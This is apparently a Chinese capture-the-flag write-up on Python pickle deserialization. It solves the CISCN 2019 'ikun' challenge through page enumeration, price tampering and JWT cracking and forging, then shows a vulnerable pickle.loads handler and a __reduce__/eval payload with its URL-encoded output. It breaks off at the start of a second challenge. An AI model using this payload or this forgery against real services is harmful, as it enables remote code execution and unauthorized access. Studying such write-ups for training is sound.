pickle反序列化
就分析几道例题吧
CISCN 2019 ikun
这题开始脑洞比较大

然后观察URL
http://b8869902-7911-4d16-bb0c-fe61550e2cea.node3.buuoj.cn/shop?page=1
开始以为这里有注入,因为加一个单引号网站就崩了
但是不然。是需要找到 lv6
import requests
URL = "http://b8869902-7911-4d16-bb0c-fe61550e2cea.node3.buuoj.cn/shop?page="
for i in range(2000):
res = requests.get(URL+str(i))
if b"lv6.png" in res.content:
print(i)
break
注意 res.content 返回的是byte类型, res.text 会自动转码为字符串
得到的结果是181

当然按照管理你是买不起的
抓个包改一下折扣

进入后台
http://b8869902-7911-4d16-bb0c-fe61550e2cea.node3.buuoj.cn/b1g_m4mber

注意到是用jwt认证的,爆破一下

然后伪造一下进入admin,查看页面源代码有代码下载地址
审计代码
看到 Admin.py
import tornado.web
from sshop.base import BaseHandler
import pickle
import urllib
class AdminHandler(BaseHandler):
@tornado.web.authenticated
def get(self, *args, **kwargs):
if self.current_user == "admin":
return self.render('form.html', res='This is Black Technology!', member=0)
else:
return self.render('no_ass.html')
@tornado.web.authenticated
def post(self, *args, **kwargs):
try:
become = self.get_argument('become')
p = pickle.loads(urllib.unquote(become))
return self.render('form.html', res=p, member=1)
except:
return self.render('form.html', res='This is Black Technology!', member=0)
会反序列化传过来的 become 参数,于是
import pickle
import urllib
class payload(object):
def __reduce__(self):
return (eval, ("open('/flag.txt','r').read()",))
a = pickle.dumps(payload())
a = urllib.quote(a)
print a
生成
c__builtin__%0Aeval%0Ap0%0A%28S%22open%28%27/flag.txt%27%2C%27r%27%29.read%28%29%22%0Ap1%0Atp2%0ARp3%0A.
提交即可

抗疫分享赛webtmp
这题涉及到了如何手动构造 pickle 数据
复习一下指令